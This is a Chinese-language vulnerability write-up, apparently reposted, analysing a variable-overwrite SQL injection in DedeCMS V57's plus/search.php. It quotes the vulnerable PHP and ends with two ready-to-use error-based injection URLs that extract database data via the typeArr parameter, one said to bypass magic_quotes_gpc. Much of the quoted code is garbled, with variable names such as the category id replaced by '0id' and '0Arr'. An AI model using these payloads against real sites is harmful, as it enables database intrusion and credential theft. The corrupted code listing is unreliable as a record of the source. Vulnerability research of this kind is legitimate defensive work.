温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

DedeCms V57 plus/search.php文件SQL注射

发布时间:2020-06-16 13:49:40 来源:网络 阅读:928 作者:aaccee12 栏目:web开发

微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.

    作者: c4rp3nt3r@0x50sec.org

    Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.

    黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.

    ============

    Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.

   

  1. require_once(dirname(__FILE__).”/../include/common.inc.php”);

  2. require_once(DEDEINC.”/arc.searchview.class.php”);


  3. $pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;

  4. 0id = (isset(0id) && is_numeric(0id)) ? 0id : 0;

  5. $channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;

  6. $kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;

  7. $mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;


  8. if(!isset($orderby)) $orderby=”;

  9. else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);



  10. if(!isset($searchtype)) $searchtype = ‘titlekeyword’;

  11. else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);


  12. if(!isset($keyword)){

  13. if(!isset($q)) $q = ”;

  14. $keyword=$q;

  15. }


  16. $oldkeyword = $keyword = FilterSearch(stripslashes($keyword));


  17. //查找栏目信息

  18. if(empty(0id))

  19. {

  20. 0nameCacheFile = DEDEDATA.’/cache/typename.inc’;

  21. if(!file_exists(0nameCacheFile) || filemtime(0nameCacheFile) < time()-(3600*24) )

  22. {

  23. $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);

  24. fwrite($fp, “<”.”?php\r\n”);

  25. $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);

  26. $dsql->Execute();

  27. while($row = $dsql->GetArray())

  28. {

  29. fwrite($fp, “\0Arr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);

  30. }

  31. fwrite($fp, ‘?’.'>’);

  32. fclose($fp);

  33. }

  34. //引入栏目缓存并看关键字是否有相关栏目内容

  35. require_once(0nameCacheFile);

  36. //0Arr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个

  37. //

  38. if(isset(0Arr) && is_array(0Arr))

  39. {

  40. foreach(0Arr as $id=>0name)

  41. {


  42. $keywordn = str_replace(0name, ‘ ‘, $keyword);  //这个地方要绕过

  43. if($keyword != $keywordn)

  44. {

  45. $keyword = $keywordn;

  46. 0id = $id; // 这里存在变量覆盖漏洞使 0id = (isset(0id) && is_numeric(0id)) ? 0id : 0; 这句过滤成了摆设

  47. break;

  48. }

  49. }

  50. }

  51. }


    然后plus/search.php文件下面定义了一个 Search类的对象 .

    在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.

    $this->TypeLink = new TypeLink(0id);

    TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.

   

  1. class TypeLink

  2. {

  3. var 0Dir;

  4. var $dsql;

  5. var $TypeID;

  6. var $baseDir;

  7. var $modDir;

  8. var $indexUrl;

  9. var $indexName;

  10. var $TypeInfos;

  11. var $SplitSymbol;

  12. var $valuePosition;

  13. var $valuePositionName;

  14. var $OptionArrayList;


  15. //构造函数///////

  16. //php5构造函数

  17. function __construct(0id)

  18. {

  19. $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];

  20. $this->indexName = $GLOBALS['cfg_indexname'];

  21. $this->baseDir = $GLOBALS['cfg_basedir'];

  22. $this->modDir = $GLOBALS['cfg_templets_dir'];

  23. $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];

  24. $this->dsql = $GLOBALS['dsql'];

  25. $this->TypeID = 0id;

  26. $this->valuePosition = ”;

  27. $this->valuePositionName = ”;

  28. $this->typeDir = ”;

  29. $this->OptionArrayList = ”;


  30. //载入类目信息


  31. $query = “SELECT tp.*,ch.typename as

  32. ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join

  33. `#@__channeltype` ch

  34. on ch.id=tp.channeltype  WHERE tp.id=’0id’ “; //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿


  35. if(0id > 0)

  36. {

  37. $this->TypeInfos = $this->dsql->GetOne($query);


    利用代码一 需要 即使magic_quotes_gpc = Off

    http:// /plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title

    这只是其中一个利用代码… Search 类的构造函数再往下

   

  1. ……省略

  2. $this->TypeID = 0id;

  3. ……省略

  4. if($this->TypeID==”0″){

  5. $this->ChannelTypeid=1;

  6. }else{

  7. $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲

  8. //现在不鸡肋了吧亲…

  9. $this->ChannelTypeid=$row['channeltype'];


  10. }


    利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.

    http:// /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title

    如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站


向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI